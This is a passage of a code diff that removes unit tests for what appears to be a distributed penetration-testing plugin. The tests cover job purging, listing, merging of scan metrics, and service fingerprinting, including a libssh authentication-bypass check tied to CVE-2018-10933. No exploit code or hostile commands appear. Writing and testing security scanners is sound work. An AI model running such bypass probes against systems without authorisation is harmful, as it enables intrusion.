in calls} - self.assertEqual(keys_deleted, {"job-1:worker-A", "job-1:worker-B"}) - for c in calls: - self.assertIsNone(c.kwargs["value"]) - - -class TestPhase14Purge(unittest.TestCase): - """Phase 14: Job Deletion & Purge.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _make_plugin(self): - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - return plugin - - def test_purge_finalized_collects_all_cids(self): - """Finalized purge collects archive + config + aggregated_report + worker report CIDs.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - # CStore stub for a finalized job - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - "job_config_cid": "cid-config", - } - plugin.chainstore_hget.return_value = job_specs - - # Archive contains nested CIDs - archive = { - "passes": [ - { - "aggregated_report_cid": "cid-agg-1", - "worker_reports": { - "worker-A": {"report_cid": "cid-wr-A"}, - "worker-B": {"report_cid": "cid-wr-B"}, - }, - }, - ], - } - plugin.r1fs.get_json.return_value = archive - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - - # Normalize returns the specs as-is - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Verify all 5 CIDs were deleted - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) - self.assertEqual(result["cids_deleted"], 5) - self.assertEqual(result["cids_total"], 5) - - def test_purge_finalized_no_pass_report_cids(self): - """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - # No pass_reports key — finalized stubs don't have them - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Only archive CID should be deleted (no pass_reports, no config, no workers) - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-archive"}) - - def test_purge_running_collects_all_cids(self): - """Stopped (was running) purge collects config + worker CIDs + pass report CIDs + nested CIDs.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "STOPPED", - "job_config_cid": "cid-config", - "workers": { - "node-A": {"finished": True, "canceled": True, "report_cid": "cid-wr-A"}, - }, - "pass_reports": [ - {"report_cid": "cid-pass-1"}, - ], - } - plugin.chainstore_hget.return_value = job_specs - - # Pass report contains nested CIDs - pass_report = { - "aggregated_report_cid": "cid-agg-1", - "worker_reports": { - "node-A": {"report_cid": "cid-pass-wr-A"}, - }, - } - plugin.r1fs.get_json.return_value = pass_report - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-config", "cid-wr-A", "cid-pass-1", "cid-agg-1", "cid-pass-wr-A"}) - - def test_purge_r1fs_failure_keeps_cstore(self): - """Partial R1FS failure leaves CStore intact and returns 'partial' status.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - "job_config_cid": "cid-config", - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - - # First CID deletes ok, second raises - plugin.r1fs.delete_file.side_effect = [True, Exception("disk error")] - - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "partial") - self.assertEqual(result["cids_deleted"], 1) - self.assertEqual(result["cids_failed"], 1) - self.assertEqual(result["cids_total"], 2) - - # CStore should NOT be tombstoned - tombstone_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("value") is None - ] - self.assertEqual(len(tombstone_calls), 0) - - def test_purge_cleans_live_progress(self): - """Purge deletes live progress keys for the job from :live hset.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "STOPPED", - "workers": {"node-A": {"finished": True}}, - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.delete_file.return_value = True - - # Live hset has keys for this job and another - plugin.chainstore_hgetall.return_value = { - "job-1:node-A": {"progress": 100}, - "job-1:node-B": {"progress": 50}, - "job-2:node-C": {"progress": 30}, - } - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Check that live progress keys for job-1 were deleted - live_delete_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance:live" and c.kwargs.get("value") is None - ] - deleted_keys = {c.kwargs["key"] for c in live_delete_calls} - self.assertEqual(deleted_keys, {"job-1:node-A", "job-1:node-B"}) - # job-2 key should NOT be touched - self.assertNotIn("job-2:node-C", deleted_keys) - - def test_purge_success_tombstones_cstore(self): - """After all CIDs deleted, CStore key is tombstoned (set to None).""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # CStore tombstone: hset(hkey=instance_id, key=job_id, value=None) - tombstone_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" - and c.kwargs.get("key") == "job-1" - and c.kwargs.get("value") is None - ] - self.assertEqual(len(tombstone_calls), 1) - - def test_stop_and_delete_delegates_to_purge(self): - """stop_and_delete_job marks job stopped then delegates to purge_job.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - plugin.scan_jobs = {} - - job_specs = { - "job_id": "job-1", - "job_status": "RUNNING", - "workers": {"node-A": {"finished": False}}, - } - plugin.chainstore_hget.return_value = job_specs - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - # Mock purge_job to verify delegation - purge_result = {"status": "success", "job_id": "job-1", "cids_deleted": 3, "cids_total": 3} - plugin.purge_job = MagicMock(return_value=purge_result) - - result = Plugin.stop_and_delete_job(plugin, "job-1") - - # Verify job was marked stopped before purge - hset_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("key") == "job-1" - ] - self.assertEqual(len(hset_calls), 1) - saved_specs = hset_calls[0].kwargs["value"] - self.assertEqual(saved_specs["job_status"], "STOPPED") - self.assertTrue(saved_specs["workers"]["node-A"]["finished"]) - self.assertTrue(saved_specs["workers"]["node-A"]["canceled"]) - - # Verify purge was called - plugin.purge_job.assert_called_once_with("job-1") - self.assertEqual(result, purge_result) - - -class TestPhase15Listing(unittest.TestCase): - """Phase 15: Listing Endpoint Optimization.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def test_list_finalized_returns_stub_fields(self): - """Finalized jobs return exact CStoreJobFinalized fields.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - finalized_stub = { - "job_id": "job-1", - "job_status": "FINALIZED", - "target": "10.0.0.1", - "task_name": "scan-1", - "risk_score": 75, - "run_mode": "SINGLEPASS", - "duration": 120.5, - "pass_count": 1, - "launcher": "0xLauncher", - "launcher_alias": "node1", - "worker_count": 2, - "start_port": 1, - "end_port": 1024, - "date_created": 1700000000.0, - "date_completed": 1700000120.0, - "job_cid": "QmArchive123", - "job_config_cid": "QmConfig456", - } - plugin.chainstore_hgetall.return_value = {"job-1": finalized_stub} - plugin._normalize_job_record = MagicMock(return_value=("job-1", finalized_stub)) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("job-1", result) - entry = result["job-1"] - - # All CStoreJobFinalized fields present - self.assertEqual(entry["job_id"], "job-1") - self.assertEqual(entry["job_status"], "FINALIZED") - self.assertEqual(entry["job_cid"], "QmArchive123") - self.assertEqual(entry["job_config_cid"], "QmConfig456") - self.assertEqual(entry["target"], "10.0.0.1") - self.assertEqual(entry["risk_score"], 75) - self.assertEqual(entry["duration"], 120.5) - self.assertEqual(entry["pass_count"], 1) - self.assertEqual(entry["worker_count"], 2) - - def test_list_running_stripped(self): - """Running jobs have listing fields but no heavy data.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - running_spec = { - "job_id": "job-2", - "job_status": "RUNNING", - "target": "10.0.0.2", - "task_name": "scan-2", - "risk_score": 0, - "run_mode": "CONTINUOUS_MONITORING", - "start_port": 1, - "end_port": 65535, - "date_created": 1700000000.0, - "launcher": "0xLauncher", - "launcher_alias": "node1", - "job_pass": 3, - "job_config_cid": "QmConfig789", - "workers": { - "addr-A": {"start_port": 1, "end_port": 32767, "finished": False, "report_cid": "QmBigReport1"}, - "addr-B": {"start_port": 32768, "end_port": 65535, "finished": False, "report_cid": "QmBigReport2"}, - }, - "timeline": [ - {"event": "created", "ts": 1700000000.0}, - {"event": "started", "ts": 1700000001.0}, - ], - "pass_reports": [ - {"pass_nr": 1, "report_cid": "QmPass1"}, - {"pass_nr": 2, "report_cid": "QmPass2"}, - ], - "redmesh_job_start_attestation": {"big": "blob"}, - } - plugin.chainstore_hgetall.return_value = {"job-2": running_spec} - plugin._normalize_job_record = MagicMock(return_value=("job-2", running_spec)) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("job-2", result) - entry = result["job-2"] - - # Listing essentials present - self.assertEqual(entry["job_id"], "job-2") - self.assertEqual(entry["job_status"], "RUNNING") - self.assertEqual(entry["target"], "10.0.0.2") - self.assertEqual(entry["task_name"], "scan-2") - self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") - self.assertEqual(entry["job_pass"], 3) - self.assertEqual(entry["worker_count"], 2) - self.assertEqual(entry["pass_count"], 2) - - # Heavy fields stripped - self.assertNotIn("workers", entry) - self.assertNotIn("timeline", entry) - self.assertNotIn("pass_reports", entry) - self.assertNotIn("redmesh_job_start_attestation", entry) - self.assertNotIn("job_config_cid", entry) - self.assertNotIn("report_cid", entry) - - -class TestPhase16ScanMetrics(unittest.TestCase): - """Phase 16: Scan Metrics Collection.""" - - def test_metrics_collector_empty_build(self): - """build() with zero data returns ScanMetrics with defaults, no crash.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - result = mc.build() - d = result.to_dict() - self.assertEqual(d.get("total_duration", 0), 0) - self.assertEqual(d.get("rate_limiting_detected", False), False) - self.assertEqual(d.get("blocking_detected", False), False) - # No crash, sparse output - self.assertNotIn("connection_outcomes", d) - self.assertNotIn("response_times", d) - - def test_metrics_collector_records_connections(self): - """After recording outcomes, connection_outcomes has correct counts.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(100) - mc.record_connection("connected", 0.05) - mc.record_connection("connected", 0.03) - mc.record_connection("timeout", 1.0) - mc.record_connection("refused", 0.01) - d = mc.build().to_dict() - outcomes = d["connection_outcomes"] - self.assertEqual(outcomes["connected"], 2) - self.assertEqual(outcomes["timeout"], 1) - self.assertEqual(outcomes["refused"], 1) - self.assertEqual(outcomes["total"], 4) - # Response times computed - rt = d["response_times"] - self.assertIn("mean", rt) - self.assertIn("p95", rt) - self.assertEqual(rt["count"], 4) - - def test_metrics_collector_records_probes(self): - """After recording probes, probe_breakdown has entries.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.record_probe("_service_info_http", "completed") - mc.record_probe("_service_info_ssh", "completed") - mc.record_probe("_web_test_xss", "skipped:no_http") - d = mc.build().to_dict() - self.assertEqual(d["probes_attempted"], 3) - self.assertEqual(d["probes_completed"], 2) - self.assertEqual(d["probes_skipped"], 1) - self.assertEqual(d["probe_breakdown"]["_service_info_http"], "completed") - self.assertEqual(d["probe_breakdown"]["_web_test_xss"], "skipped:no_http") - - def test_metrics_collector_phase_durations(self): - """start/end phases produce positive durations.""" - import time - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.phase_start("port_scan") - time.sleep(0.01) - mc.phase_end("port_scan") - d = mc.build().to_dict() - self.assertIn("phase_durations", d) - self.assertGreater(d["phase_durations"]["port_scan"], 0) - - def test_metrics_collector_findings(self): - """record_finding tracks severity distribution.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.record_finding("HIGH") - mc.record_finding("HIGH") - mc.record_finding("MEDIUM") - mc.record_finding("INFO") - d = mc.build().to_dict() - fd = d["finding_distribution"] - self.assertEqual(fd["HIGH"], 2) - self.assertEqual(fd["MEDIUM"], 1) - self.assertEqual(fd["INFO"], 1) - - def test_metrics_collector_coverage(self): - """Coverage tracks ports scanned vs in range.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(100) - for i in range(50): - mc.record_connection("connected" if i < 5 else "refused", 0.01) - # Simulate finding 5 open ports with banner confirmation - for i in range(5): - mc.record_open_port(8000 + i, protocol="http" if i < 3 else "ssh", banner_confirmed=(i < 3)) - d = mc.build().to_dict() - cov = d["coverage"] - self.assertEqual(cov["ports_in_range"], 100) - self.assertEqual(cov["ports_scanned"], 50) - self.assertEqual(cov["coverage_pct"], 50.0) - self.assertEqual(cov["open_ports_count"], 5) - # Open port details - self.assertEqual(len(d["open_port_details"]), 5) - self.assertEqual(d["open_port_details"][0]["port"], 8000) - self.assertEqual(d["open_port_details"][0]["protocol"], "http") - self.assertTrue(d["open_port_details"][0]["banner_confirmed"]) - self.assertFalse(d["open_port_details"][3]["banner_confirmed"]) - # Banner confirmation - self.assertEqual(d["banner_confirmation"]["confirmed"], 3) - self.assertEqual(d["banner_confirmation"]["guessed"], 2) - - def test_scan_metrics_model_roundtrip(self): - """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" - from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics - sm = ScanMetrics( - phase_durations={"port_scan": 10.5, "fingerprint": 3.2}, - total_duration=15.0, - connection_outcomes={"connected": 50, "timeout": 5, "total": 55}, - response_times={"min": 0.01, "max": 1.0, "mean": 0.1, "median": 0.08, "stddev": 0.05, "p95": 0.5, "p99": 0.9, "count": 55}, - rate_limiting_detected=True, - blocking_detected=False, - coverage={"ports_in_range": 1000, "ports_scanned": 1000, "ports_skipped": 0, "coverage_pct": 100.0}, - probes_attempted=5, - probes_completed=4, - probes_skipped=1, - probes_failed=0, - probe_breakdown={"_service_info_http": "completed"}, - finding_distribution={"HIGH": 3, "MEDIUM": 2}, - ) - d = sm.to_dict() - sm2 = ScanMetrics.from_dict(d) - self.assertEqual(sm2.to_dict(), d) - - def test_scan_metrics_strip_none(self): - """Empty/None fields stripped from serialization.""" - from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics - sm = ScanMetrics() - d = sm.to_dict() - self.assertNotIn("phase_durations", d) - self.assertNotIn("connection_outcomes", d) - self.assertNotIn("response_times", d) - self.assertNotIn("slow_ports", d) - self.assertNotIn("probe_breakdown", d) - - def test_merge_worker_metrics(self): - """_merge_worker_metrics sums outcomes, coverage, findings; maxes duration; ORs flags.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - m1 = { - "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, - "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0, "open_ports_count": 3}, - "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, - "service_distribution": {"http": 2, "ssh": 1}, - "probe_breakdown": {"_service_info_http": "completed", "_web_test_xss": "completed"}, - "phase_durations": {"port_scan": 30.0, "fingerprint": 10.0, "service_probes": 15.0}, - "response_times": {"min": 0.01, "max": 0.5, "mean": 0.05, "median": 0.04, "stddev": 0.03, "p95": 0.2, "p99": 0.4, "count": 500}, - "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, - "total_duration": 60.0, - "rate_limiting_detected": False, "blocking_detected": False, - "open_port_details": [ - {"port": 22, "protocol": "ssh", "banner_confirmed": True}, - {"port": 80, "protocol": "http", "banner_confirmed": True}, - {"port": 443, "protocol": "http", "banner_confirmed": False}, - ], - "banner_confirmation": {"confirmed": 2, "guessed": 1}, - } - m2 = { - "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, - "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0, "open_ports_count": 2}, - "finding_distribution": {"HIGH": 1, "LOW": 3}, - "service_distribution": {"http": 1, "mysql": 1}, - "probe_breakdown": {"_service_info_http": "completed", "_service_info_mysql": "completed", "_web_test_xss": "failed"}, - "phase_durations": {"port_scan": 45.0, "fingerprint": 8.0, "service_probes": 20.0}, - "response_times": {"min": 0.02, "max": 0.8, "mean": 0.08, "median": 0.06, "stddev": 0.05, "p95": 0.3, "p99": 0.7, "count": 400}, - "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, - "total_duration": 75.0, - "rate_limiting_detected": True, "blocking_detected": False, - "open_port_details": [ - {"port": 80, "protocol": "http", "banner_confirmed": True}, # duplicate port 80 - {"port": 3306, "protocol": "mysql", "banner_confirmed": True}, - ], - "banner_confirmation": {"confirmed": 2, "guessed": 0}, - } - merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) - # Sums - self.assertEqual(merged["connection_outcomes"]["connected"], 50) - self.assertEqual(merged["connection_outcomes"]["timeout"], 15) - self.assertEqual(merged["connection_outcomes"]["total"], 65) - self.assertEqual(merged["coverage"]["ports_in_range"], 1000) - self.assertEqual(merged["coverage"]["ports_scanned"], 900) - self.assertEqual(merged["coverage"]["ports_skipped"], 100) - self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) - self.assertEqual(merged["coverage"]["open_ports_count"], 5) - self.assertEqual(merged["finding_distribution"]["HIGH"], 3) - self.assertEqual(merged["finding_distribution"]["LOW"], 3) - self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) - self.assertEqual(merged["probes_attempted"], 6) - self.assertEqual(merged["probes_completed"], 5) - self.assertEqual(merged["probes_skipped"], 1) - # Service distribution summed - self.assertEqual(merged["service_distribution"]["http"], 3) - self.assertEqual(merged["service_distribution"]["ssh"], 1) - self.assertEqual(merged["service_distribution"]["mysql"], 1) - # Probe breakdown: union, worst status wins - self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") - self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") - self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed - # Phase durations: max per phase (threads/nodes run in parallel) - self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) - self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) - self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) - # Response times: merged stats - rt = merged["response_times"] - self.assertEqual(rt["min"], 0.01) # global min - self.assertEqual(rt["max"], 0.8) # global max - self.assertEqual(rt["count"], 900) # total count - # Weighted mean: (0.05*500 + 0.08*400) / 900 ≈ 0.0633 - self.assertAlmostEqual(rt["mean"], 0.0633, places=3) - self.assertEqual(rt["p95"], 0.3) # max of per-thread p95 - self.assertEqual(rt["p99"], 0.7) # max of per-thread p99 - # Max duration - self.assertEqual(merged["total_duration"], 75.0) - # OR flags - self.assertTrue(merged["rate_limiting_detected"]) - self.assertFalse(merged["blocking_detected"]) - # Open port details: deduplicated by port, sorted - opd = merged["open_port_details"] - self.assertEqual(len(opd), 4) # 22, 80, 443, 3306 (80 deduplicated) - self.assertEqual(opd[0]["port"], 22) - self.assertEqual(opd[1]["port"], 80) - self.assertEqual(opd[2]["port"], 443) - self.assertEqual(opd[3]["port"], 3306) - # Banner confirmation: summed - self.assertEqual(merged["banner_confirmation"]["confirmed"], 4) - self.assertEqual(merged["banner_confirmation"]["guessed"], 1) - - - def test_close_job_merges_thread_metrics(self): - """16b: _close_job replaces generically-merged scan_metrics with properly summed metrics.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - - # Two mock workers with different scan_metrics - worker1 = MagicMock() - worker1.get_status.return_value = { - "open_ports": [80], "service_info": {}, "scan_metrics": { - "connection_outcomes": {"connected": 10, "timeout": 2, "total": 12}, - "total_duration": 30.0, - "probes_attempted": 2, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 0, - "rate_limiting_detected": False, "blocking_detected": False, - } - } - worker2 = MagicMock() - worker2.get_status.return_value = { - "open_ports": [443], "service_info": {}, "scan_metrics": { - "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, - "total_duration": 45.0, - "probes_attempted": 2, "probes_completed": 1, "probes_skipped": 1, "probes_failed": 0, - "rate_limiting_detected": True, "blocking_detected": False, - } - } - plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} - - # _get_aggregated_report with merge_objects_deep would do last-writer-wins on leaf ints - # Simulate that by returning worker2's metrics (wrong — should be summed) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, - "scan_metrics": { - "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, - "total_duration": 45.0, - } - }) - # Use real static method for merge - plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics - - saved_reports = [] - def capture_add_json(data, show_logs=False): - saved_reports.append(data) - return "QmReport123" - plugin.r1fs.add_json.side_effect = capture_add_json - - job_specs = {"job_id": "job-1", "target": "10.0.0.1", "workers": {}} - plugin.chainstore_hget.return_value = job_specs - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) - plugin._redact_report = MagicMock(side_effect=lambda r: r) - - PentesterApi01Plugin._close_job(plugin, "job-1") - - # The report saved to R1FS should have properly merged metrics - self.assertEqual(len(saved_reports), 1) - sm = saved_reports[0].get("scan_metrics") - self.assertIsNotNone(sm) - # Connection outcomes should be summed, not last-writer-wins - self.assertEqual(sm["connection_outcomes"]["connected"], 18) - self.assertEqual(sm["connection_outcomes"]["timeout"], 7) - self.assertEqual(sm["connection_outcomes"]["total"], 25) - # Max duration - self.assertEqual(sm["total_duration"], 45.0) - # Probes summed - self.assertEqual(sm["probes_attempted"], 4) - self.assertEqual(sm["probes_completed"], 3) - # OR flags - self.assertTrue(sm["rate_limiting_detected"]) - - def test_finalize_pass_attaches_pass_metrics(self): - """16c: _maybe_finalize_pass merges node metrics into PassReport.scan_metrics.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-launcher" - plugin.cfg_llm_agent_api_enabled = False - plugin.cfg_attestation_min_seconds_between_submits = 3600 - - # Two workers, each with a report_cid - workers = { - "node-A": {"finished": True, "report_cid": "cid-report-A"}, - "node-B": {"finished": True, "report_cid": "cid-report-B"}, - } - job_specs = { - "job_id": "job-1", - "job_status": "RUNNING", - "target": "10.0.0.1", - "run_mode": "SINGLEPASS", - "launcher": "node-launcher", - "workers": workers, - "job_pass": 1, - "pass_reports": [], - "timeline": [{"event": "created", "ts": 1700000000.0}], - } - plugin.chainstore_hgetall.return_value = {"job-1": job_specs} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - plugin.time.return_value = 1700000120.0 - - # Node reports with different metrics - node_report_a = { - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "correlation_findings": [], "start_port": 1, "end_port": 32767, - "ports_scanned": 32767, - "scan_metrics": { - "connection_outcomes": {"connected": 5, "timeout": 1, "total": 6}, - "total_duration": 50.0, - "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, - "rate_limiting_detected": False, "blocking_detected": False, - } - } - node_report_b = { - "open_ports": [443], "service_info": {}, "web_tests_info": {}, - "correlation_findings": [], "start_port": 32768, "end_port": 65535, - "ports_scanned": 32768, - "scan_metrics": { - "connection_outcomes": {"connected": 3, "timeout": 4, "total": 7}, - "total_duration": 65.0, - "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 1, - "rate_limiting_detected": False, "blocking_detected": True, - } - } - - node_reports_by_addr = {"node-A": node_report_a, "node-B": node_report_b} - plugin._collect_node_reports = MagicMock(return_value=node_reports_by_addr) - # _get_aggregated_report would use merge_objects_deep (wrong for metrics) - # Return a dict with last-writer-wins metrics to simulate the bug - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, - "scan_metrics": node_report_b["scan_metrics"], # wrong — just node B's - }) - # Use real static method for merge - plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics - - # Capture what gets saved as pass report - saved_pass_reports = [] - def capture_add_json(data, show_logs=False): - saved_pass_reports.append(data) - return f"QmPassReport{len(saved_pass_reports)}" - plugin.r1fs.add_json.side_effect = capture_add_json - - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) - plugin._get_job_config = MagicMock(return_value={}) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._build_job_archive = MagicMock() - plugin._clear_live_progress = MagicMock() - plugin._emit_timeline_event = MagicMock() - plugin._get_timeline_date = MagicMock(return_value=1700000000.0) - plugin.Pd = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # Should have saved: aggregated_data (step 6) + pass_report (step 10) - self.assertGreaterEqual(len(saved_pass_reports), 2) - pass_report = saved_pass_reports[-1] # Last one is the PassReport - - sm = pass_report.get("scan_metrics") - self.assertIsNotNone(sm, "PassReport should have scan_metrics") - # Connection outcomes summed across nodes - self.assertEqual(sm["connection_outcomes"]["connected"], 8) - self.assertEqual(sm["connection_outcomes"]["timeout"], 5) - self.assertEqual(sm["connection_outcomes"]["total"], 13) - # Max duration - self.assertEqual(sm["total_duration"], 65.0) - # Probes summed - self.assertEqual(sm["probes_attempted"], 6) - self.assertEqual(sm["probes_completed"], 5) - self.assertEqual(sm["probes_failed"], 1) - # OR flags - self.assertFalse(sm["rate_limiting_detected"]) - self.assertTrue(sm["blocking_detected"]) - - -class TestPhase17aQuickWins(unittest.TestCase): - """Phase 17a: Quick Win probe enhancements.""" - - def _build_worker(self, ports=None): - if ports is None: - ports = [22] - owner = DummyOwner() - worker = PentestLocalWorker( - owner=owner, - target="example.com", - job_id="job-17a", - initiator="init@example", - local_id_prefix="Q", - worker_target_ports=ports, - ) - worker.stop_event = MagicMock() - worker.stop_event.is_set.return_value = False - return owner, worker - - # ---- 17a-1: libssh auth bypass ---- - - def test_ssh_libssh_detected_in_banner(self): - """_ssh_identify_library detects libssh from banner.""" - _, worker = self._build_worker() - lib, ver = worker._ssh_identify_library("SSH-2.0-libssh-0.8.1") - self.assertEqual(lib, "libssh") - self.assertEqual(ver, "0.8.1") - - def test_ssh_libssh_bypass_returns_none_on_failure(self): - """_ssh_check_libssh_bypass returns None when connection fails.""" - _, worker = self._build_worker() - result = worker._ssh_check_libssh_bypass("192.0.2.1", 99999) - self.assertIsNone(result) - - def test_ssh_libssh_cves_in_db(self): - """CVE-2018-10933 is present in CVE database for libssh.""" - from extensions.business.cybersec.red_mesh.cve_db import check_cves - findings = check_cves("libssh", "0.8.1") - self.assertTrue(len(findings) >= 1) - titles = [f.title for f in findings] - self.assertTrue(any("CVE-2018-10933" in t for t in titles)) - - # ---- 17a-2: Protocol fingerprinting ---- - - def test_generic_fingerprint_redis(self): - """Redis RESP banner is recognized.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_redis_banner(b"+PONG\r\n")) - self.assertTrue(worker._is_redis_banner(b"-ERR unknown command\r\n")) - self.assertTrue(worker._is_redis_banner(b"$11\r\nHello World\r\n")) - self.assertFalse(worker._is_redis_banner(b"HTTP/1.1 200 OK\r\n")) - - def test_generic_fingerprint_ftp(self): - """FTP 220 banner is recognized.""" - _, worker = self._build_worker() - self.assertTrue(worker._is_ftp_banner(b"220 Welcome to 